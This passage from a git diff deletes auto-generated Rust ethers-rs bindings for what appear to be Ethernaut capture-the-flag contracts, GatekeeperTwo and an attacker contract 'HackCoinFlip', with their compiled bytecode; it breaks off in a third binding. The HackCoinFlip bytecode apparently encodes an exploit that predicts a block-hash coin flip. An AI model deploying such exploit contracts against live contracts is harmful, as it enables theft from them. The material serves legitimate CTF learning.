::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct EntrantReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/gatekeeper_two.rs b/attack/src/abi/gatekeeper_two.rs deleted file mode 100644 index a44a619..0000000 --- a/attack/src/abi/gatekeeper_two.rs +++ /dev/null @@ -1,317 +0,0 @@ -pub use gatekeeper_two::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod gatekeeper_two { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("enter"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("enter"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_gateKey"), - kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( - 8usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bytes8"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("entrant"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("entrant"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static GATEKEEPERTWO_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01\xE8\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01iV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[3;\x80\x15a\0\xC3W`\0\x80\xFD[`@Q\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\x003``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x014W`\0\x80\xFD[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01{W`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x01\xABW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xE1\xCC\x17\xBF#$XX\x04`]\x9C\xBE\xBC\xA5\xB4d\xDD\xA9\xB1M,\x92*\xB2\x9C#2\xE65\xFB\xF6dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static GATEKEEPERTWO_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01iV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[3;\x80\x15a\0\xC3W`\0\x80\xFD[`@Q\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\x003``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x014W`\0\x80\xFD[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01{W`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x01\xABW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xE1\xCC\x17\xBF#$XX\x04`]\x9C\xBE\xBC\xA5\xB4d\xDD\xA9\xB1M,\x92*\xB2\x9C#2\xE65\xFB\xF6dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static GATEKEEPERTWO_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct GatekeeperTwo(::ethers::contract::Contract); - impl ::core::clone::Clone for GatekeeperTwo { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for GatekeeperTwo { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for GatekeeperTwo { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for GatekeeperTwo { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(GatekeeperTwo)) - .field(&self.address()) - .finish() - } - } - impl GatekeeperTwo { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - GATEKEEPERTWO_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - GATEKEEPERTWO_ABI.clone(), - GATEKEEPERTWO_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `enter` (0x3370204e) - /// function - pub fn enter( - &self, - gate_key: [u8; 8], - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([51, 112, 32, 78], gate_key) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `entrant` (0x9db31d77) - /// function - pub fn entrant( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([157, 179, 29, 119], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for GatekeeperTwo - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `enter` function with signature `enter(bytes8)` and - /// selector `0x3370204e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "enter", abi = "enter(bytes8)")] - pub struct EnterCall { - pub gate_key: [u8; 8], - } - ///Container type for all input parameters for the - /// `entrant` function with signature `entrant()` and - /// selector `0x9db31d77` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "entrant", abi = "entrant()")] - pub struct EntrantCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum GatekeeperTwoCalls { - Enter(EnterCall), - Entrant(EntrantCall), - } - impl ::ethers::core::abi::AbiDecode for GatekeeperTwoCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Enter(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Entrant(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for GatekeeperTwoCalls { - fn encode(self) -> Vec { - match self { - Self::Enter(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Entrant(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for GatekeeperTwoCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Enter(element) => ::core::fmt::Display::fmt(element, f), - Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for GatekeeperTwoCalls { - fn from(value: EnterCall) -> Self { Self::Enter(value) } - } - impl ::core::convert::From for GatekeeperTwoCalls { - fn from(value: EntrantCall) -> Self { Self::Entrant(value) } - } - ///Container type for all return fields from the - /// `enter` function with signature `enter(bytes8)` and - /// selector `0x3370204e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct EnterReturn(pub bool); - ///Container type for all return fields from the - /// `entrant` function with signature `entrant()` and - /// selector `0x9db31d77` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct EntrantReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/hack_coin_flip.rs b/attack/src/abi/hack_coin_flip.rs deleted file mode 100644 index f5b5a06..0000000 --- a/attack/src/abi/hack_coin_flip.rs +++ /dev/null @@ -1,296 +0,0 @@ -pub use hack_coin_flip::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod hack_coin_flip { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_coin"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("coinContract"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("coinContract"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract CoinFlip"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("guess"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("guess"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static HACKCOINFLIP_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\x01`\xFF\x1B`\x01U4\x80\x15a\0\x18W`\0\x80\xFD[P`@Qa\x0398\x03\x80a\x039\x839\x81\x01`@\x81\x90Ra\x007\x91a\0\\V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x8CV[`\0` \x82\x84\x03\x12\x15a\0nW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x85W`\0\x80\xFD[\x93\x92PPPV[a\x02\x9E\x80a\0\x9B`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80cr\xDDR\xE3\x14a\0;W\x80c\xA2\x8Bt\x9A\x14a\0\x84W[`\0\x80\xFD[`\0Ta\0[\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x8Ca\0\x8EV[\0[`\0a\0\x9B`\x01Ca\x01\xC4V[`\x01T\x90@\x91P`\0\x90a\0\xAF\x90\x83a\x02\x04V[\x90P`\0\x81`\x01\x14a\0\xC2W`\0a\0\xC5V[`\x01[\x90P\x80\x15\x15`\x01\x03a\x01mW`\0T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x01`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\x1D&?g\x90`$\x01[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01CW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01g\x91\x90a\x02?V[PPPPV[`\0\x80T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x90c\x1D&?g\x90`$\x01a\x01$V[\x81\x81\x03\x81\x81\x11\x15a\x01\xFEW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x02:W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x02QW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02aW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 v!\x02\xFD\x83\x17q\xF7\x05\x079\x13\xC5Q\xDF3\x01\x05*\xDAwnr\x82\x80:\x87(3'\x1E`dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static HACKCOINFLIP_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80cr\xDDR\xE3\x14a\0;W\x80c\xA2\x8Bt\x9A\x14a\0\x84W[`\0\x80\xFD[`\0Ta\0[\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x8Ca\0\x8EV[\0[`\0a\0\x9B`\x01Ca\x01\xC4V[`\x01T\x90@\x91P`\0\x90a\0\xAF\x90\x83a\x02\x04V[\x90P`\0\x81`\x01\x14a\0\xC2W`\0a\0\xC5V[`\x01[\x90P\x80\x15\x15`\x01\x03a\x01mW`\0T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x01`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\x1D&?g\x90`$\x01[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01CW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01g\x91\x90a\x02?V[PPPPV[`\0\x80T`@Q\x7F\x1D&?g\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x90c\x1D&?g\x90`$\x01a\x01$V[\x81\x81\x03\x81\x81\x11\x15a\x01\xFEW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x02:W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x02QW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02aW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 v!\x02\xFD\x83\x17q\xF7\x05\x079\x13\xC5Q\xDF3\x01\x05*\xDAwnr\x82\x80:\x87(3'\x1E`dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static HACKCOINFLIP_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct HackCoinFlip(::ethers::contract::Contract); - impl ::core::clone::Clone for HackCoinFlip { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for HackCoinFlip { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for HackCoinFlip { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for HackCoinFlip { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(HackCoinFlip)) - .field(&self.address()) - .finish() - } - } - impl HackCoinFlip { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - HACKCOINFLIP_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - HACKCOINFLIP_ABI.clone(), - HACKCOINFLIP_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `coinContract` (0x72dd52e3) - /// function - pub fn coin_contract( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([114, 221, 82, 227], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `guess` (0xa28b749a) - /// function - pub fn guess( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([162, 139, 116, 154], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for HackCoinFlip - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `coinContract` function with signature - /// `coinContract()` and selector `0x72dd52e3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "coinContract", abi = "coinContract()")] - pub struct CoinContractCall; - ///Container type for all input parameters for the - /// `guess` function with signature `guess()` and - /// selector `0xa28b749a` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "guess", abi = "guess()")] - pub struct GuessCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum HackCoinFlipCalls { - CoinContract(CoinContractCall), - Guess(GuessCall), - } - impl ::ethers::core::abi::AbiDecode for HackCoinFlipCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::CoinContract(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Guess(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for HackCoinFlipCalls { - fn encode(self) -> Vec { - match self { - Self::CoinContract(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Guess(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for HackCoinFlipCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::CoinContract(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Guess(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for HackCoinFlipCalls { - fn from(value: CoinContractCall) -> Self { Self::CoinContract(value) } - } - impl ::core::convert::From for HackCoinFlipCalls { - fn from(value: GuessCall) -> Self { Self::Guess(value) } - } - ///Container type for all return fields from the - /// `coinContract` function with signature - /// `coinContract()` and selector `0x72dd52e3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct CoinContractReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/human_is_stronger.rs b/attack/src/abi/human_is_stronger.rs deleted file mode 100644 index 7738c2f..0000000 --- a/attack/src/abi/human_is_stronger.rs +++ /dev/null @@ -1,303 +0,0 @@ -pub use human_is_stronger::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod human_is_stronger { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("offender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: 